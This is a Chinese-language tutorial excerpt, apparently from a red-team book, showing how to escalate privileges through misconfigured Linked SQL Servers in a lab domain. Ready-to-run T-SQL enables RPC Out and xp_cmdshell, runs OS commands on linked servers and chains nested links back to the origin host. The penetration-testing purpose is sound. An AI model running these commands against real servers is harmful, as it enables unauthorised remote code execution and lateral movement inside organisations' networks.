點擊星標,即時接收最新推文
本文選自《內網安全攻防:紅隊之路》
掃描二維碼五折購書
??
利用Linked SQL Server提權
Linked SQL server是一個SQL Server數據庫中的對象,它可以連接到另一個SQL Server或非SQL Server數據源(如Oracle,MySQL,PostgreSQL等),并且可以使用該數據源中的表和視圖。通過使用Linked server,用戶可以在單個查詢中訪問多個數據源中的數據,而無需將數據導入到本地數據庫中。
Linked server通常用于數據集成和數據倉庫環境中的查詢,以及需要從多個數據源中檢索數據的應用程序。
當創建從一個SQL服務器到另一個服務器的鏈接時,管理員必須指定在連接過程中使用的執行上下文。雖然可以基于當前登錄的安全上下文創建一個動態的上下文,但是一些管理員可能為了配置方便而使用一個特定的SQL賬戶登錄。如果管理員使用一個特定的SQL登錄,并且該登錄具有sysadmin角色權限,我們將能在鏈接的SQL服務器上獲得sysadmin權限。
在滲透測試過程,如果遇到了集成到活動目錄的MS SQL數據庫,我們需要測試目標環境是否存在這種誤配置。
我們首先枚舉當前服務器鏈接的服務器。可以使用sp_linkedserver存儲過程查看。在下面的例子中,我們連接到APPSRV01服務器,以普通域用戶dev\dave認證,使用ESC工具進行查詢:
set instance appsrv01.dev.ms08067.cn
EXEC sp_linkedservers
go
sp_linkedservers列舉連接的服務器
ESC客戶端list links命令也可以用查詢:
list?links
ESC列舉鏈接的服務器
從上面的輸出可以看到,當前服務器APPSRV01\SQLEXPRESS存在一個遠程鏈接的服務器DEV-DC01,遠程登錄名為sa。下一步我們可以嘗試在鏈接的服務器上執行查詢,可以使用OPENQUERY關鍵字實現。首先我們查詢鏈接的服務器的數據庫實例版本:
select version from openquery("dev-DC01", 'select @@version as version')
查看dev-DC01數據庫版本
輸出證明我們可以在鏈接的服務器上執行查詢。接下來,我們需要確認是在哪個安全上下文執行:
select SecurityContext from openquery([dev-DC01], 'select SYSTEM_USER as SecurityContext')
查詢安全上下文
從輸出可以看到雖然我們本地登錄是域用戶dev\dave,但鏈接的安全上下文是sa。有了sa權限,我們可以使用前面介紹過的方法在鏈接的服務器實現代碼執行,這里使用xp_cmdshell。
需要注意的是xp_cmdshell需要改變advanced options,我們必須使用RECONFIGURE語句更新運行時配置。當這個語句在遠程服務器執行時,微軟使用Remote Procedure Call(RCP)實現。因此創建的鏈接必須配置RPC Out設置,默認沒有啟用,如果我們當前用戶有sysadmin權限,可以使用sp_serveroption存儲過程啟用。這里為了演示在鏈接的服務器執行命令,我們先在APPSRV01服務器手動啟用。在appsrv01上執行:
USE master;
EXEC sp_serveroption 'dev-DC01', 'rpc out', 'true';
RECONFIGURE
啟用RPC Out
然后我們嘗試在鏈接的服務器dev-DC01上執行命令。OPENQUERY存儲過程無法在鏈接服務器執行,所以這里我們使用AT關鍵字指定要執行查詢的鏈接服務器。注意要對內部的單引號通過雙寫進行轉義:
EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT [dev-DC01]
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [dev-DC01]
EXEC ('xp_cmdshell ipconfig') AT [dev-DC01]
在鏈接服務器執行命令
可以看到我們成功在鏈接的遠程服務器dev-DC01上獲得代碼執行。
雖然微軟的文檔說明,在鏈接的SQL服務器上不支持用OPENQUERY關鍵字執行存儲過程,但實際上可以利用堆疊查詢的方式執行:
SELECT * FROM OPENQUERY("dev-DC01", 'select @@Version; exec xp_cmdshell ''ipconfig > c:\Tools\ipconfig.txt''')
go
利用堆疊查詢執行命令
雖然命令結果沒有回顯,但實際命令成功執行。
上面我們發現appsrv01上的數據庫配置了到dev-DC01上數據庫的鏈接。我們也可以在dev-DC01上執行sp_linkedservers存儲過程,查看是否存在從dev-DC01到其他數據庫服務器的鏈接。需要注意的是SQL服務器的鏈接默認不是雙向的,所以依賴于管理員配置。我們可以使用如下語句查詢:
set instance appsrv01.dev.ms08067.cn
EXEC ('sp_linkedservers') AT [dev-DC01]
go
dev-DC01數據庫鏈接枚舉
從輸出可以看到也存在從dev-DC01到APPSRV01的數據庫鏈接。我們之前已經通過鏈接在dev-DC01上獲得了sa權限,可以再次通過鏈接返回到APPSRV01。使用下面命令查看在APPSRV01上的登錄上下文:
select mylogin from openquery("dev-dc01", 'select mylogin from openquery("appsrv01", ''select SYSTEM_USER as mylogin'')')
APPSRV01權限查詢
從輸出可以看到我們在appsrv01上也獲得了sa權限,因為是sysadmin角色,我們可以通過相同的方法實現代碼執行。同樣也需要在dev-DC01上配置RPC Out:
dev-DC01啟用RPC Out
然后啟用xp_cmdshell并執行命令,需要注意單引號的轉義:
set instance APPSRV01.dev.ms08067.cn
EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [appsrv01]') AT [dev-dc01]
EXEC ('EXEC (''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [appsrv01]') AT [dev-dc01]
EXEC ('EXEC (''xp_cmdshell ''''ipconfig&hostname'''''') AT [appsrv01]') AT [dev-dc01]
go
通過嵌套鏈接執行命令
上面例子可以看到,我們先從APPSRV01通過鏈接的方式在dev-DC01上執行命令,然后又通過鏈接方式,從dev-DC01跳回到APPSRV01并在上面成功執行命令。我們可以枚舉嵌套鏈接的數據庫,并執行查詢。理論上,可以多次跟隨鏈接并獲得代碼執行。
—? 實驗室旗下直播培訓課程? —
和20000+位同學加入MS08067一起學習